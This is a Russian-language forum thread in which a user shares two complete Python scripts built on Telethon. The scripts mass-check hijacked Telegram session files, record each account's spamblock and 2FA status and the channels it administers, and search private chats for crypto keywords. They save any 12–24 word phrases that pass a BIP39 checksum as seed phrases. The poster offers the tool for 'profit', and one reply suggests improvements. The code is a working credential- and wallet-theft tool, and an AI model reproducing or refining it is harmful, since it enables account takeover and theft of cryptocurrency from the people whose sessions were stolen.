Загрузка...

Script
Telegram Session Checker | Full Capture | SpamBlock & Admin Check

Thread in Programming created by elqewel Mar 24, 2026. (bumped Saturday at 11:15 AM) 103 views

  1. elqewel
    elqewel Topic starter Mar 24, 2026 7 Mar 4, 2026
    Who's liked this post (1)
    Выкладываю авторский асинхронный чекер для Telegram аккаунтов на Python (Telethon). Софт предназначен для массовой проверки сессий на валидность и глубокого анализа данных.
    Функциональные возможности:
    Поддержка многопоточного чека через ******.
    Автоматическое определение статуса SpamBlock и наличия облачного пароля (2FA).
    Парсинг каналов и чатов, в которых аккаунт является администратором или владельцем.
    Поиск по диалогам ключевых слов (seed, mnemonic, pass, binance) с сохранением совпадений.
    Автоматическая сортировка результатов по папкам в зависимости от статуса и находок.
    Инструкция по запуску:
    1. Установите Python 3.10 или выше.
    2. Выполните установку зависимостей: pip install telethon aiofiles colorama.
    3. Поместите файлы .session в директорию sessions.
    4. Укажите ваши api_id и api_hash в соответствующем классе конфигурации.
    5. Запустите скрипт командой Python main.py.
    Python
    import asyncio
    
import os
    
import json
    
import logging
    
import random
    
import shutil
    
import re
    
from datetime import datetime
    
from typing import List, Optional, Tuple
    

    
import aiofiles
    
from telethon import TelegramClient, errors, functions, types
    
from telethon.sessions import StringSession
    
from colorama import Fore, init, Style
    

    
init(autoreset=True)
    

    
class Config:
    
    API_ID = 1234567  # Замените на ваш API_ID
    
    API_HASH = 'your_api_hash_тут'  # Замените на ваш API_HASH
    
    SESSIONS_DIR = 'sessions'
    
    RESULTS_DIR = 'results'
    
    # Ключевые слова для поиска в диалогах
    
    KEYWORDS = [
    
        'seed', 'mnemonic', 'password', 'key', 'phrase', 'private',
    
        'binance', 'trust', 'metamask', 'wallet', 'crypto', 'login',
    
        'pass', 'семя', 'фраза', 'пароль', 'кошелек', 'бинанс'
    
    ]
    
    # Регулярные выражения для поиска (например, сид-фразы на 12 слов)
    
    SEED_REGEX = r'\b([a-z]{3,12}\s){11,23}[a-z]{3,12}\b'
    
    THREADS = 15
    
    TIMEOUT = 20
    

    
class Logger:
    
    def __init__(self):
    
        os.makedirs('****', exist_ok=True)
    
        logging.basicConfig(
    
            level=logging.INFO,
    
            format='%(asctime)s - %(levelname)s - %(message)s',
    
            handlers=[logging.FileHandler('****/checker.log', encoding='utf-8')]
    
        )
    
   
    
    @staticmethod
    
    def info(msg):
    
        print(f"{Fore.CYAN}[INFO] {msg}")
    
        logging.info(msg)
    

    
    @staticmethod
    
    def success(msg):
    
        print(f"{Fore.GREEN}[+] {msg}")
    
        logging.info(f"SUCCESS: {msg}")
    

    
    @staticmethod
    
    def error(msg):
    
        print(f"{Fore.RED}[-] {msg}")
    
        logging.error(msg)
    

    
    @staticmethod
    
    def warning(msg):
    
        print(f"{Fore.YELLOW}[!] {msg}")
    
        logging.warning(msg)
    

    
class TelegramChecker:
    
    def __init__(self, config: Config):
    
        self.config = config
    
        self.logger = Logger()
    
        self.stats = {
    
            'total': 0, 'valid': 0, 'invalid': 0,
    
            'spamblock': 0, '2fa': 0, 'flood': 0,
    
            'admin': 0, 'crypto': 0
    
        }
    
        self._setup_folders()
    

    
    def _setup_folders(self):
    
        subfolders = ['valid', 'invalid', 'spamblock', '2fa', 'with_admin', 'with_crypto']
    
        if not os.path.exists(self.config.RESULTS_DIR):
    
            os.makedirs(self.config.RESULTS_DIR)
    
        for folder in subfolders:
    
            os.makedirs(os.path.join(self.config.RESULTS_DIR, folder), exist_ok=True)
    
        if not os.path.exists(self.config.SESSIONS_DIR):
    
            os.makedirs(self.config.SESSIONS_DIR)
    

    
    async def check_spamblock(self, client: TelegramClient) -> str:
    
        try:
    
            # Отправка сообщения самому себе для базовой проверки
    
            await client.send_message('me', 'check_status')
    
            return "No block"
    
        except errors.common.MultiError as e:
    
            return "Potential block"
    
        except Exception as e:
    
            if "PEER_FLOOD" in str(e):
    
                return "Spamblock"
    
            return "Unknown"
    

    
    async def get_admin_channels(self, client: TelegramClient) -> List[str]:
    
        admin_chats = []
    
        try:
    
            async for dialog in client.iter_dialogs():
    
                if dialog.is_channel or dialog.is_group:
    
                    try:
    
                        permissions = await client.get_permissions(dialog.id, 'me')
    
                        if permissions.is_admin or permissions.is_creator:
    
                            role = "Creator" if permissions.is_creator else "Admin"
    
                            member_count = dialog.entity.participants_count if hasattr(dialog.entity, 'participants_count') else 0
    
                            admin_chats.append(f"{role} | {dialog.name} | Members: {member_count}")
    
                    except:
    
                        continue
    
        except Exception as e:
    
            self.logger.error(f"Error parsing admin chats: {e}")
    
        return admin_chats
    

    
    async def search_sensitive_info(self, client: TelegramClient) -> List[str]:
    
        found_info = []
    
        try:
    
            # Поиск по ключевым словам
    
            for kw in self.config.KEYWORDS:
    
                async for message in client.iter_messages(None, search=kw, limit=20):
    
                    if message.text:
    
                        found_info.append(f"Keyword match [{kw}] in chat {message.chat_id}")
    
           
    
            # Поиск по регулярке (сид-фразы)
    
            async for message in client.iter_messages(None, limit=50):
    
                if message.text and re.search(self.config.SEED_REGEX, message.text.lower()):
    
                    found_info.append(f"Seed phrase match in chat {message.chat_id}")
    
        except Exception as e:
    
            pass
    
        return list(set(found_info))
    

    
    async def process_session(self, session_path: str):
    
        session_name = os.path.basename(session_path)
    
        client = TelegramClient(
    
            session_path,
    
            self.config.API_ID,
    
            self.config.API_HASH,
    
            connection_retries=1,
    
            timeout=self.config.TIMEOUT
    
        )
    
       
    
        try:
    
            await client.connect()
    
           
    
            if not await client.is_user_authorized():
    
                self.stats['invalid'] += 1
    
                self.logger.error(f"{session_name} - Невалид")
    
                shutil.copy(session_path, os.path.join(self.config.RESULTS_DIR, 'invalid', session_name))
    
                return
    

    
            me = await client.get_me()
    
            self.stats['valid'] += 1
    
           
    
            phone = me.phone if me.phone else "Скрыт"
    
            username = f"@{me.username}" if me.username else "Нет"
    
            premium = "Да" if me.premium else "Нет"
    
           
    
            # Сбор данных
    
            status = await self.check_spamblock(client)
    
            admin_chats = await self.get_admin_channels(client)
    
            sensitive_data = await self.search_sensitive_info(client)
    

    
            if status == "Spamblock":
    
                self.stats['spamblock'] += 1
    
                folder = 'spamblock'
    
            else:
    
                folder = 'valid'
    

    
            shutil.copy(session_path, os.path.join(self.config.RESULTS_DIR, folder, session_name))
    
           
    
            # Логирование находок
    
            if admin_chats:
    
                self.stats['admin'] += 1
    
                async with aiofiles.open(os.path.join(self.config.RESULTS_DIR, 'with_admin', f"{session_name}.txt"), 'w', encoding='utf-8') as f:
    
                    await f.write(f"Acc: {phone} | {username}\n" + "\n".join(admin_chats))
    
           
    
            if sensitive_data:
    
                self.stats['crypto'] += 1
    
                async with aiofiles.open(os.path.join(self.config.RESULTS_DIR, 'with_crypto', f"{session_name}.txt"), 'w', encoding='utf-8') as f:
    
                    await f.write(f"Acc: {phone} | {username}\n" + "\n".join(sensitive_data))
    

    
            self.logger.success(f"{session_name} | {phone} | {username} | Premium: {premium} | Admin: {len(admin_chats)} | Crypto: {len(sensitive_data)}")
    

    
        except errors.SessionPasswordNeededError:
    
            self.stats['2fa'] += 1
    
            self.logger.warning(f"{session_name} - Требуется 2FA (облачный пароль)")
    
            shutil.copy(session_path, os.path.join(self.config.RESULTS_DIR, '2fa', session_name))
    
        except errors.FloodWaitError as e:
    
            self.stats['flood'] += 1
    
            self.logger.error(f"{session_name} - Flood wait: {e.seconds} секунд")
    
        except Exception as e:
    
            self.logger.error(f"{session_name} - Ошибка выполнения: {str(e)}")
    
        finally:
    
            await client.disconnect()
    

    
    async def run(self):
    
        sessions = [
    
            os.path.join(self.config.SESSIONS_DIR, f)
    
            for f in os.listdir(self.config.SESSIONS_DIR)
    
            if f.endswith('.session')
    
        ]
    
       
    
        if not sessions:
    
            self.logger.error(f"Директория {self.config.SESSIONS_DIR} пуста. Загрузите файлы .session")
    
            return
    

    
        self.stats['total'] = len(sessions)
    
        self.logger.info(f"Запуск чекера. Найдено сессий: {len(sessions)}")
    
       
    
        semaphore = asyncio.Semaphore(self.config.THREADS)
    
       
    
        async def worker(sess):
    
            async with semaphore:
    
                await self.process_session(sess)
    

    
        await asyncio.gather(*(worker(s) for s in sessions))
    
       
    
        print(f"\n{Style.BRIGHT}{Fore.WHITE}--- ИТОГОВАЯ СТАТИСТИКА ---")
    
        print(f"{Fore.GREEN}Валид: {self.stats['valid']}")
    
        print(f"{Fore.RED}Невалид: {self.stats['invalid']}")
    
        print(f"{Fore.YELLOW}Спамблок: {self.stats['spamblock']}")
    
        print(f"{Fore.BLUE}С облачным паролем: {self.stats['2fa']}")
    
        print(f"{Fore.CYAN}Найдено админок: {self.stats['admin']}")
    
        print(f"{Fore.MAGENTA}Найдено крипто-запросов: {self.stats['crypto']}")
    
        print(f"---------------------------\n")
    

    
if __name__ == "__main__":
    
    config = Config()
    
    checker = TelegramChecker(config)
    
    try:
    
        asyncio.run(checker.run())
    
    except KeyboardInterrupt:
    
        print(f"\n{Fore.YELLOW}Программа остановлена пользователем.")
    
    except Exception as e:
    
        print(f"Критическая ошибка: {e}")
    Софт полностью открыт, пользуйтесь на здоровье. Если скрипт поможет вам достать жирный профит или сэкономит время на чеке *****, буду рад видеть вашу поддержку темы. Это лучший показатель того, что такой контент на форуме востребован. Спасибо.
    Также второй вариант кода возможно лучше

    Python
    import asyncio
    
import os
    
import re
    
import json
    
import shutil
    
import logging
    
from datetime import datetime
    
from typing import List, Optional, Dict, Any
    

    
import aiofiles
    
from telethon import TelegramClient, errors, functions, types
    
from mnemonic import Mnemonic
    
from colorama import Fore, init, Style
    

    
# Инициализация цветного вывода
    
init(autoreset=True)
    

    
class Config:
    
    API_ID = 1234567  # Замените на ваш API_ID
    
    API_HASH = 'your_api_hash'  # Замените на ваш API_HASH
    
    
    
    # Пути
    
    SESSIONS_DIR = 'sessions'
    
    RESULTS_DIR = 'results'
    
    
    
    # Настройки чекера
    
    THREADS = 15
    
    TIMEOUT = 20
    
    DEEP_SCAN_LIMIT = 50  # Кол-во последних диалогов для глубокого поиска
    
    MSG_CHECK_LIMIT = 30  # Кол-во сообщений в каждом диалоге
    
    
    
    # Ключевые слова для фильтрации диалогов
    
    CRYPTO_KEYWORDS = [
    
        'seed', 'mnemonic', 'phrase', 'private', 'key', 'wallet',
    
        'binance', 'metamask', 'trust', 'electrum', 'ledger', 'trezor',
    
        'keychain', 'recovery', 'backup', 'ethereum', 'bitcoin', 'solana'
    
    ]
    
    
    
    # Регулярка для поиска потенциальных фраз (12-24 слова)
    
    SEED_PATTERN = r'\b([a-z]{3,12}\s+){11,23}[a-z]{3,12}\b'
    

    
class CryptoValidator:
    
    def __init__(self):
    
        self.mnemo = Mnemonic("english")
    
        self.wordlist = set(self.mnemo.wordlist)
    
        self.valid_counts = [12, 15, 18, 21, 24]
    

    
    def is_valid(self, text: str) -> bool:
    
        try:
    
            # Очистка и нормализация
    
            phrase = " ".join(text.lower().split())
    
            words = phrase.split()
    
            
    
            # Базовая проверка длины
    
            if len(words) not in self.valid_counts:
    
                return False
    
                
    
            # Проверка каждого слова по официальному словарю BIP39
    
            if not all(word in self.wordlist for word in words):
    
                return False
    
                
    
            # Проверка контрольной суммы (checksum)
    
            return self.mnemo.check(phrase)
    
        except:
    
            return False
    

    
class Logger:
    
    def __init__(self):
    
        os.makedirs('****', exist_ok=True)
    
        self.log_file = f"****/log_{datetime.now().strftime('%d_%m_%Y')}.log"
    
        logging.basicConfig(
    
            level=logging.INFO,
    
            format='%(asctime)s | %(levelname)s | %(message)s',
    
            handlers=[logging.FileHandler(self.log_file, encoding='utf-8')]
    
        )
    

    
    def print_status(self, session: str, status: str, color=Fore.WHITE, info=""):
    
        time_now = datetime.now().strftime("%H:%M:%S")
    
        prefix = f"{Fore.LIGHTBLACK_EX}[{time_now}] {Fore.CYAN}{session[:15]:<15}"
    
        print(f"{prefix} | {color}{status:<10} {Fore.RESET}| {info}")
    
        logging.info(f"{session} | {status} | {info}")
    

    
class TGAnalyzer:
    
    def __init__(self, config: Config):
    
        self.cfg = config
    
        self.log = Logger()
    
        self.validator = CryptoValidator()
    
        self.stats = {
    
            'total': 0, 'valid': 0, 'invalid': 0,
    
            '2fa': 0, 'spamblock': 0, 'flood': 0,
    
            'with_admin': 0, 'with_seeds': 0
    
        }
    
        self._prepare()
    

    
    def _prepare(self):
    
        sub = ['valid', 'invalid', '2fa', 'spamblock', 'seeds_found', 'admin_channels']
    
        for s in sub:
    
            os.makedirs(os.path.join(self.cfg.RESULTS_DIR, s), exist_ok=True)
    
        if not os.path.exists(self.cfg.SESSIONS_DIR):
    
            os.makedirs(self.cfg.SESSIONS_DIR)
    

    
    async def get_admin_rights(self, client: TelegramClient) -> List[str]:
    
        admins = []
    
        try:
    
            async for dialog in client.iter_dialogs(limit=100):
    
                if dialog.is_channel or dialog.is_group:
    
                    try:
    
                        p = await client.get_permissions(dialog.id, 'me')
    
                        if p.is_admin or p.is_creator:
    
                            title = dialog.name.replace('\n', ' ')
    
                            count = dialog.entity.participants_count if hasattr(dialog.entity, 'participants_count') else '?'
    
                            admins.append(f"{title} (Участников: {count})")
    
                    except: continue
    
        except: pass
    
        return admins
    

    
    async def deep_crypto_scan(self, client: TelegramClient) -> List[str]:
    
        seeds = []
    
        try:
    
            async for dialog in client.iter_dialogs(limit=self.cfg.DEEP_SCAN_LIMIT):
    
                # Сначала ищем по ключевым словам в названии чата
    
                chat_name = dialog.name.lower()
    
                is_crypto_chat = any(k in chat_name for k in self.cfg.CRYPTO_KEYWORDS)
    
                
    
                async for msg in client.iter_messages(dialog.id, limit=self.cfg.MSG_CHECK_LIMIT):
    
                    if msg.text:
    
                        matches = re.findall(self.cfg.SEED_PATTERN, msg.text.lower())
    
                        for match in matches:
    
                            if self.validator.is_valid(match):
    
                                seeds.append(f"Seed: {match} | Chat: {dialog.name}")
    
        except: pass
    
        return list(set(seeds))
    

    
    async def check_spamblock(self, client: TelegramClient) -> bool:
    
        try:
    
            # Метод проверки через отправку сообщения в "Избранное"
    
            await client.send_message('me', 'check_limit_status')
    
            return False
    
        except errors.PeerFloodError: return True
    
        except: return False
    

    
    async def process(self, session_name: str):
    
        path = os.path.join(self.cfg.SESSIONS_DIR, session_name)
    
        client = TelegramClient(path, self.cfg.API_ID, self.cfg.API_HASH, timeout=self.cfg.TIMEOUT)
    
        
    
        try:
    
            await client.connect()
    
            if not await client.is_user_authorized():
    
                self.stats['invalid'] += 1
    
                self.log.print_status(session_name, "INVALID", Fore.RED)
    
                shutil.move(path, os.path.join(self.cfg.RESULTS_DIR, 'invalid', session_name))
    
                return
    

    
            me = await client.get_me()
    
            phone = me.phone if me.phone else "Hide"
    
            
    
            # Проверки
    
            is_spam = await self.check_spamblock(client)
    
            admins = await self.get_admin_rights(client)
    
            seeds = await self.deep_crypto_scan(client)
    
            
    
            # Сортировка
    
            self.stats['valid'] += 1
    
            folder = 'spamblock' if is_spam else 'valid'
    
            if is_spam: self.stats['spamblock'] += 1
    
            
    
            shutil.copy(path, os.path.join(self.cfg.RESULTS_DIR, folder, session_name))
    
            
    
            info_str = f"P: {phone} | Admins: {len(admins)} | Seeds: {len(seeds)}"
    
            self.log.print_status(session_name, "VALID", Fore.GREEN, info_str)
    

    
            if admins:
    
                self.stats['with_admin'] += 1
    
                async with aiofiles.open(f"{self.cfg.RESULTS_DIR}/admin_channels/{phone}.txt", 'w', encoding='utf-8') as f:
    
                    await f.write(f"Account: {phone}\n" + "\n".join(admins))
    
            
    
            if seeds:
    
                self.stats['with_seeds'] += 1
    
                async with aiofiles.open(f"{self.cfg.RESULTS_DIR}/seeds_found/{phone}.txt", 'w', encoding='utf-8') as f:
    
                    await f.write(f"Account: {phone}\n" + "\n".join(seeds))
    

    
        except errors.SessionPasswordNeededError:
    
            self.stats['2fa'] += 1
    
            self.log.print_status(session_name, "2FA", Fore.YELLOW)
    
            shutil.copy(path, os.path.join(self.cfg.RESULTS_DIR, '2fa', session_name))
    
        except errors.FloodWaitError as e:
    
            self.stats['flood'] += 1
    
            self.log.print_status(session_name, "FLOOD", Fore.LIGHTRED_EX, f"Wait {e.seconds}s")
    
        except Exception as e:
    
            self.log.print_status(session_name, "ERROR", Fore.RED, str(e))
    
        finally:
    
            await client.disconnect()
    

    
    async def main(self):
    
        files = [f for f in os.listdir(self.cfg.SESSIONS_DIR) if f.endswith('.session')]
    
        if not files:
    
            print(f"{Fore.RED}Нет сессий в папке {self.cfg.SESSIONS_DIR}")
    
            return
    

    
        self.stats['total'] = len(files)
    
        sem = asyncio.Semaphore(self.cfg.THREADS)
    
        
    
        async def task(f):
    
            async with sem: await self.process(f)
    

    
        print(f"{Fore.CYAN}Начинаю работу с {len(files)} сессиями...\n")
    
        await asyncio.gather(*(task(f) for f in files))
    
        
    
        print(f"\n{Fore.WHITE}{Style.BRIGHT}--- ИТОГИ ЧЕКА ---")
    
        print(f"{Fore.GREEN}Валид: {self.stats['valid']} | {Fore.YELLOW}2FA: {self.stats['2fa']} | {Fore.RED}Бан: {self.stats['invalid']}")
    
        print(f"{Fore.CYAN}Админки: {self.stats['with_admin']} | {Fore.MAGENTA}Валидные Сиды: {self.stats['with_seeds']}")
    

    
if __name__ == "__main__":
    
    cfg = Config()
    
    app = TGAnalyzer(cfg)
    
    try:
    
        asyncio.run(app.main())
    
    except KeyboardInterrupt: pass
     
    Mar 24, 2026 Edited
  2. matBast0s
    matBast0s Mar 24, 2026 №1 Криптообменник —> https://lolz.live/threads/9756616/ 10,794 Sep 10, 2023
    можешь через библиотеку mnemonic искать полноценные сид фразы
     
    Mar 24, 2026 Edited
    1. elqewel Topic starter
      avatarmatBast0s , я сделал второй вариант кода оцени).
      Mar 25, 2026
  3. elqewel
    elqewel Topic starter Mar 24, 2026 7 Mar 4, 2026
    Who's liked this post (1)
    Да, но нужно время. Я изучу и напишу в этой теме
     
    Mar 24, 2026 Edited
  4. dvbsh
    dvbsh Mar 24, 2026 Разработка
    Telegram: View @dvbsh_projects
    1,577 Aug 13, 2018
    aislop
     
    Mar 24, 2026
Loading...